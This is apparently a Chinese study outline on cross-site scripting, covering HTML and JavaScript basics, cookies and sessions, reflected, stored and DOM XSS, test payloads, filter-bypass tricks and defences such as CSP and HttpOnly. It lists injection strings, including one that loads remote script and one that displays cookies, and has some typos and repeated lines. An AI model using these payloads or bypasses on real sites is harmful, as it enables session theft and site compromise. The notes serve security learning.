XSS漏洞
2024-01-27 22:49:37 3 举报
AI智能生成
XSS漏洞
作者其他创作
大纲/内容
HTML和JS基础
HTML
定义:超文本标记语言
HTML结构标准
<!doctype html> //声明文档类型,由渲染引擎解析
<html> //根标签
<head> //头部标签,
<title></title> //标题标签 ,位于页面最上方定义浏览器工具栏中的标题
</head>
<body> // 主体标签,给用户、浏览者看
<!-- 在此处写注释 -->
</body>
</html>
<head> </head>和<body> </body>为并列关系
<head> </head>和<title> </title>
<html> //根标签
<head> //头部标签,
<title></title> //标题标签 ,位于页面最上方定义浏览器工具栏中的标题
</head>
<body> // 主体标签,给用户、浏览者看
<!-- 在此处写注释 -->
</body>
</html>
<head> </head>和<body> </body>为并列关系
<head> </head>和<title> </title>
HTML 标签
常见的单标签
<br/> // 换行
<hr/> //水平分隔线
<img /> //图片标签
<input /> //输入标签
<meta /> //HTML文档的元数据,机器可读,如<meta charset=UTF-8”/>
<hr/> //水平分隔线
<img /> //图片标签
<input /> //输入标签
<meta /> //HTML文档的元数据,机器可读,如<meta charset=UTF-8”/>
常见的双标签
<html></html>
<head></head>
<title></title>
<body></body>
<h1></h1> //大标题
<p></p> //段落标签
<div></div> //块标签,对内容样式控制、实现布局效果
<a></a>
<ul></ul> //列表标签
<form></form> //表单标记
<select></select> //选项标签
<head></head>
<title></title>
<body></body>
<h1></h1> //大标题
<p></p> //段落标签
<div></div> //块标签,对内容样式控制、实现布局效果
<a></a>
<ul></ul> //列表标签
<form></form> //表单标记
<select></select> //选项标签
form标签
定义和用法
<form></form> 标签用于为用户输入创建 HTML 表单
表单能够包含什么
input元素
password 密码框
Text:文本框
Submit:提交按钮
Maxlength:文本可以输入的最大长度
menus(菜单)
textarea(文本区域)
cellspacing单元格间距
元素
表单的作用
用于向服务器传输数据
form表单的属性含义
Action:规定当提交表单时向何处发送表单数据
Method:规定get还是post的方法传输
Name:规定表单名称
iframe标签
作用:使用框架,你可以在同一个浏览器窗口中显示不止一个页面。
语法:<iframe src="URL"> <!-- URL指向不同的页面 -->123 </iframe>
设置高度与宽:属性默认以像素为单位,但是你可以指定其按比例显示(如:"60%")
XML
可扩展标记语言:传输数据
JS( JavaScript )
定义
JavaScript是一种直译式的脚本语言、是一种动态类型、弱类型、基于原型的语言,内置支持类型。
虽然JavaScript使用了Java这个名称,但实际上JavaScript与Java之间并没有任何关系。
虽然JavaScript使用了Java这个名称,但实际上JavaScript与Java之间并没有任何关系。
功能
可以将文本动态的放入HTML页面
可以对事件做出响应
可以读写HTML元素
可被用来验证用户输入的数据
可被用来检测访问者的浏览器,并根据所检测到的浏览器,为这个浏览器载入相应的页面
可被用来创建cookies,用来存储和取回位于访问者的计算机中的信息
可利用Ajax技术来完成和服务器的直接通信,无刷新的修改当前HTML页面内容
HTML如何引入JavaScript
写在html的形式
<script> JavaScript的内容(123、 ‘xss’)</script>
引用文件的形式
<script type= “text/javascript” src= “js文件的路径“ />
JavaScript的弹框函数
alert(’xss‘ “” // ``) 功能是产生一个带确认按钮的对话框,上面显示括
号内的信息
号内的信息
confirm(“文本”) 拥有确定和取消的提示框
prompt(“文本”,“默认值”) 可以输入文字的框
JavaScript的事件
<a href= “demo.html” 事件= "alert('1');">test</a>
<img src=# 事件= “prompt(1)”/>
鼠标事件
onmouseover 鼠标悬浮(鼠标移入目标元素上方)
onmouseout 鼠标离开(鼠标移出目标元素上方)
onmouseenter 鼠标进入(鼠标移入元素范围内触发)(该事件不冒泡)
onmouseleave 鼠标离开(鼠标移入元素范围内触发)(该事件不冒泡)
onmousedown 鼠标按下
onmouseup 鼠标抬起
onclick:单击
ondblclick:双击
cookie和session
Cookie
定义
Cookie是一个保存在客户机中的简单的文本文件,当我们使用自己的电脑,通过浏览器
进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写入我们的本地电
脑,这个证书就是cookie。Cookie它可以帮助我们实现记录用户个人信息的功能。
进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写入我们的本地电
脑,这个证书就是cookie。Cookie它可以帮助我们实现记录用户个人信息的功能。
表现形式
本地cookie
本地 Cokie 是服务器端脚本语言向客户端发送 Cookie 时制定
了时效,也就是 Expire 字段,而且会存储于本地,当 Expire所制定的时效过期后,Cookie 将失效。
了时效,也就是 Expire 字段,而且会存储于本地,当 Expire所制定的时效过期后,Cookie 将失效。
Session Cookie
Session Cookie 则没有制定 Expire 时效,是存储在浏览器内存中的,当浏览器关闭后,
Session Cookie也随之消失
Session Cookie也随之消失
作用
会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
个性化设置(如用户自定义设置、主题等)
浏览器行为跟踪(如跟踪分析用户行为等)
session
定义
session是存在服务器的一种用来存放用户数据的类HashTable结构
cookie和session的区别
存储位置不同
cookie数据保存在客户端(浏览器),session数据保存在服务器端
存储容量不同
单个cookie保存的数据不能超过4KB,很多浏览器都限制一个站点最多保存20个cookie。
(Session没有对存储的数据量的限制,其中可以保存更为复杂的数据类型)
(Session没有对存储的数据量的限制,其中可以保存更为复杂的数据类型)
存储方式不同
cookie只能保管ASCII字符串,并需要通过编码方式去存储数据;session能够存储任何类
型的数据。
型的数据。
服务器压力不同
XSS漏洞原理
定义
恶意的web访问者将脚本植入
到提供给用户使用的页面中,通常是使用JavaScript编写的危险代码,当
用户使用浏览器访问页面时,脚本会被执行,从而达到攻击者目的。
到提供给用户使用的页面中,通常是使用JavaScript编写的危险代码,当
用户使用浏览器访问页面时,脚本会被执行,从而达到攻击者目的。
危害
网站弹框
网站挂马
会话劫持
Cookie被盗取
用户提权
盗号
DDOS
蠕虫攻击
挖掘
寻求注入点,数据有交互的地方,Dom自己玩自己
搜索关键字,显示输出变量。(‘/“&<>)<>/script
跟踪变量是否过滤
XSS漏洞分类与利用
反射型
定义
主要用于将恶意脚本附加到URL地址的参数中
产生层面
前端
漏洞特征
一次性
前端执行
不会储存在后端数据库
攻击原理
攻击者通过Email向受害者发送xss链接和恶意脚本
受害者向服务器发送请求
服务器接收并响应
储存型
定义
此类XSS不需要用户单击特定URL就能执行跨站脚本。
攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。
当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。
当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
产生层面
后端
漏洞特征
持久性的
前端执行
储存在后端数据库
攻击原理
攻击者向服务器上传xss代码
受害者向服务器发送请求
服务器接收并响应
函数
die() //函数输出一条消息,并退出当前脚本
trim() //函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() //删除反斜杠
mysql_real_escape_string() //转义 SQL 语句中使用的字符串中的特殊字符
mysql_query(query) //mysql_query() 函数执行一条 MySQL 查询
mysql_error() //返回上一个 MySQL 操作产生的文本错误信息
DOM型
定义
DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的
DOM解析。
用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的
过滤,应用程序就可能受到基于DOM的XSS攻击。
自己弹自己
DOM解析。
用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的
过滤,应用程序就可能受到基于DOM的XSS攻击。
自己弹自己
产生层面
前端、特殊的反射型XSS
漏洞特征
一次性的
前端执行
不会储存在后端数据库
程序执行不依赖于服务器端的数据
web server不参与,仅仅涉及到浏览器的XSS
文档
由节点构成的集合
节点种类
元素节点
<body>、<p>、<ul>之类的元素在文档中的布局形成了文档的结构,它
们即是元素节点
们即是元素节点
文本节点
文档通常会包含一些内容,这些内容多数由文本提供
属性节点
元素或多或少都有一些属性,属性用于对元素做出更具体的描述
原理
XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。
程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。
浏览器用户可以操纵DOM中的一些对象,例如URL、location等。
用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,
应用程序就可能受到基于DOM的XSS攻击。
程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。
浏览器用户可以操纵DOM中的一些对象,例如URL、location等。
用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,
应用程序就可能受到基于DOM的XSS攻击。
与之前两类XSS漏洞区别
漏洞发生原因跟服务器解析无关,纯粹是JS代码读取了URL内容导致。
dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可
能是存储型的
dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可
能是存储型的
JS代码中可能触发DOM型XSS的属性
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
利用JS脚本
跳转页面
<script>location='https://www.baidu.com'</script>
弹出cookie(如果有cookie的话)
<script>alert(documet.cookie)</script>
XSS漏洞挖掘与绕过
手工测试是否有xss漏洞
找到测试点(搜索框、留言板)
根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。
例子:'<>?"&/6666
例子:'<>?"&/6666
如果有过滤则进行相关的绕过
xss常见语句
<script>
<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
‘><script>alert(1)</script>
<img>
<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)>//版本,E7.0|IE6.0,才能执行
<img src=# onmouseover="alert(1)">
<a>
"> <a href=javascript:alert('xss') >
"> <a href= "" onclick="alert(1)"> xss</a>
XSS漏洞绕过方法
大小写绕过
<ScRiPt>alert(1)</ScRiPt>
双写绕过
<sc<script>ript>alert(/xss/)</script>
反引号绕过
`` 绕过单双引号的过滤
关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
超链接标签
< a href= > 1 </a>
图片链接绕过
< img src=1 onerror=alert(1)>
编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64)
空格、回车、换行符、tab、混淆
XSS漏洞防御
CSP内容安全策略
Content Security Policy
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)
通过设置HttpOnly防止cookie被窃取
输入输出检查(包括前端js和后端php)
白名单验证
对用户提交的数据进行检查,只接受指定长度范围内、采用适当格式和预期
字符的输入,其余一律过滤。
字符的输入,其余一律过滤。
黑名单验证
对包含XSS代码特征的内容进行过滤,如“<”、 “>”、”script”、”#”
对所有输出字符进行HTML编码
• < 转成<
• > 转成>
• & 转成&
•
“ 转成"
•
‘转成'
• > 转成>
• & 转成&
•
“ 转成"
•
‘转成'
0 条评论
下一页